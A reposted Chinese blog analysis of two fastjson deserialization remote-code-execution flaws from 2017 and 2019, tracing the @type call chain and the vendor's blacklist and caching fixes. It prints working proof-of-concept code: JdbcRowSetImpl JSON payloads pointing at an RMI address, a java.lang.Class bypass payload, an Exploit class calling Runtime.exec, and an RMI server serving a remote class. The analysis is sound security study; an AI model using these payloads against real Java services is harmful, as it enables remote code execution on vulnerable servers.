百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程文章 > 正文

fastjson反序列化0day漏洞分析(反序列化漏洞实例)

qiyuwang 2025-05-02 20:46 2 浏览 0 评论

背景

fastjson号称要做最好的json解析库,但是上半年连续搜收到两份安全部的漏洞警告,很尴尬,因此对fastjson漏洞做了一个简单的研究。本文会分析2017年的远程执行漏洞和2019年上半爆出的0day漏洞。

名词解释:
0day:信息安全意义上的0Day是指在系统商在知晓并发布相关补丁前就被掌握或者公开的漏洞信息。
poc:Proof ofConcept,中文意思是“观点证明”。这个短语会在漏洞报告中使用,漏洞报告中的POC则是一段说明或者一个攻击的样例,使得读者能够确认这个漏洞是真实存在的。


一、2017年的远程执行漏洞

官方链接。17年的这个漏洞相对比较简单,依赖@type的特性可以很容易的对服务器进行攻击。我先展示下poc代码,然后断点查看执行过程,最后总结流程和当时的解决方案。

poc代码

public class Exploit implements ObjectFactory {

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        exec("open /Applications/Calculator.app");
        return null;
    }

    public static void exec(String cmd) {
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            
        }
    }
}
import com.alibaba.fastjson.JSON;

public class Demo {
    public static void main(String[] args) throws Exception {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\"," +
        "\"autoCommit\":true}";
        JSON.parse(payload);
    }
}

攻击流程

1、加载jdbc类,设置rmi

解析到@type的时候回加载类


B14E0A8B-2AB3-4307-9CC1-CF5683018247.png

4C74B6BB-9964-49D4-976B-85351F5731C3.png

JdbcRowSetImpl会设置dataSource名字,这里默认调用setDataSource方法

90FC1A26-7E9A-4F02-AE35-A71E2FBC2A7D.png


加载类的静态方法


C252AD7D-FB64-48DD-BF99-4ABB8F2C9B9A.png

2、通过rmi调用远程方法

rmi:RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。

public class Server {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
            //设置rmi端口
        Registry registry = LocateRegistry.createRegistry(1099);
        
        //设置引用的类和地址
        Reference reference = new Reference("Exploit",
                "Exploit","http://127.0.0.1:8001/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
       
       //绑定
       registry.bind("Exploit",referenceWrapper);

    }
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        start();
    }
}

RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,服务端返回值也可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,则同样需要有运行时动态加载额外类的能力。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类。

-> JdbcRowSetImpl.setAutoCommit
-> JdbcRowSetImpl.connect()
-> InitialContext.lookup(dataSource)

lookup的时候回从攻击者服务端下载序列化的类,然后初始化。这个时候会执行静态方法完成攻击。

3、fastjson的解决方案

git-diff

C11FB725-729D-4AFF-8AF5-F781D990BC1D.png


65518A0A-EBD2-455C-BAAF-950F1403D004.png

添加了类型校验和黑名单,@type直接初始化失败,单的攻击可以防御。但是这个还是有问题,所以在19年爆出了0day漏洞

二、2019年的远程执行漏洞

漏洞链接

poc 代码

import com.alibaba.fastjson.JSON;

public class Demo {
    public static void main(String[] args) throws Exception {
        String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}}";
        JSON.parse(payload);
    }
}

其他代码与17年一致。

攻击流程

很明显要想初始化类型,需要绕过黑名单检测,这个怎么绕过呢?

1、@type绕过流程

因为java.lang.String是白名单中的类,因此checkAutoType检测通过,然后到这一步


![2F8CA7E0-DA66-4681-8413-0B2B4A0CEE5B.png](https://upload-images.jianshu.io/upload_images/1681615-ecccb7949eeab6e1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

当判断是string类型的时,会加载他的val,类完成load


F1893BDD-9247-4D65-BF35-3983035B3B27.png

后面的xxkey加载的时候可以直接从mapping获取,因此后面的也绕过了。


069D34F3-C777-498F-BDFA-113EF94347A8.png

继续的话就和17年漏洞没有区别了

2、解决方案

F64DAFC1-4498-4E9D-A6D1-DFE02AB86802.png

不在缓存类型,试的原先的二次加载失效。
官方diff

EBF629BC-FC70-4EF9-880A-D57FADA7EEB7.png


三、总结

这俩漏洞都是利用了@type的特性,然后想办法绕过了检测。安全使用的话要经常更新版本,关注官网的漏洞通知。除了这个还有很多其他的攻击方法,这里只是列举了其中的一种,因为这种使用方式范围比较广。

引用资料

  • fastjson
  • 深入理解JNDI注入与Java反序列化漏洞利用
  • fastjson-rce-exploit


作者:BigFish_大鱼
链接:
https://www.jianshu.com/p/2bc43d16a3a6

来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

相关推荐

别再乱找了!这才是 Alist 本地安装挂载的正确打开方式

一、探秘Alist的神奇世界在这个数据爆炸的时代,我们的生活里充斥着各种各样的网盘服务,百度网盘、阿里云盘、腾讯微云等等,它们成了我们存储资料的得力助手。但随着网盘数量的增多,管理这些分散在不同平...

如何将数据从旧iPhone传输到新iPhone 16?这五个方法你必须知道!

前不久,苹果发布了备受期待的iPhone16系列,新机型搭载了更强大的芯片、更流畅的操作体验,还有备受热议的全新摄像系统。无论你是冲着A18仿生芯片,还是更丰富的动态岛功能,相信很多果粉早已跃跃欲试...

大数据传输的定义与大数据传输解决方案的选择

当我们需要处理大量的数据时,我们就要把数据从一个地方移动到另一个地方。这个过程就叫做大数据传输。它通常需要用到高速的网络连接、分散的存储系统和数据传输协议,以保证数据的快速、可靠和安全的移动。常用的大...

【工具】在线传输文件工具(在线文件互传)

前言在线传输文件工具主要是用于在不同的设备之间,如手机、电脑、平板等快速便捷地传送文件。告别使用USB传统传输文件的方式。...

如何使用 CAN-FD 在 LPC5500 上传输数据

目录1引言2CAN-FD3示例演示1引言...

轻松同步:将照片从三星手机传输到iPad的简便方法

概括想要在新iPad上查看三星照片吗?但是,如果您不知道如何将照片从三星手机传输到iPad,则无法在iPad上查看图片。为此,本文分享了7个有用的方法,以便您可以使用它们在不同操作系统之...

常见又地道的网络缩写:美剧中常说的SFW到底是个啥?

在这堂课中,让我们来学习更多在数字网络世界中常用的有趣网络用语。7shifts/unsplashhttp,https“http”和“https”是万维网(www)传输文件用的协议。“http”是hy...

每天学会一个计算机网络协议之FTP

开始行文之前提出一个问题,相信大家在看完本文后一定可以回答当我们在网站上填写注册信息的时候,需要我们上传照片,上传的过程发生了什么?下面引入我们的主角,FTP文件传输协议FTPFileTransf...

即用即走,这3款文件分享工具真香

打工人的日常,免不了「文件分享存储服务」的需求。我们一般会选择不同的网盘,但是大家也知道,网盘不是限速就是叫你充值。今天跟大家简单推荐3款文件分享工具,既可以免登录匿名使用,而且操作简单稳定性也不错。...

安卓手机里的文件和照片与Mac互传的办法

因为HandShake一段时间未更新,似乎目前不可操作。我一时间未找到更好的「传输」办法,经实践操作,向大家介绍一下「安卓手机」,包括「一加」、「索尼」,都可用此方法,来进行文件传输到Mac的...

软网推荐:同一个平台选择不同的传输方法

平时上网的时候,我们经常要分享一些文件给其他朋友,一般通过云服务平台来实现。今天笔者给大家介绍的Worksphere传输服务,它提供了两种不同的分享方式,方便我们根据实际需要进行选择。一个链接分享所有...

跨平台不限速的免费文件传输网站(跨平台不限速的免费文件传输网站是什么)

大家好,欢迎来到天天惠分享,不知道各位平时都是用什么方法来进行文件跨平台传输的呢?是百度网盘?微信还是QQ?亦或是有线传输。虽然这些方法都可以达到传输的目的,但都有各自的缺陷,使用起来一言难尽。比如百...

全网最全最详细的全平台文件传输方法,解决你文件传输问题(一)

前言想必现在大多数人文件传输的方法还是使用qq微信,但是qq微信的文件传输有时候真是,...

文件传输工具有哪些?这3款堪称办公必备!

在不同设备间,想把文件从一台设备传输到另一台,尤其是大体积文件,更是免不了用到文件传输工具,可以说文件传输工具已成为提升效率的关键载体。面对海量文档、设计素材、会议纪要的流转需求,传统邮件附件、U盘拷...

小白也能用的跨网文件交换系统!10款简单易上手的文件摆渡工具

跨网文件交换系统对于需要频繁在不同网络环境中进行文件共享的用户来说至关重要。以下是10款简单易上手的文件摆渡工具,适合小白用户使用,帮助他们高效地分享和传输文件。10款简单易上手的跨网文件交换工具1....

取消回复欢迎 发表评论: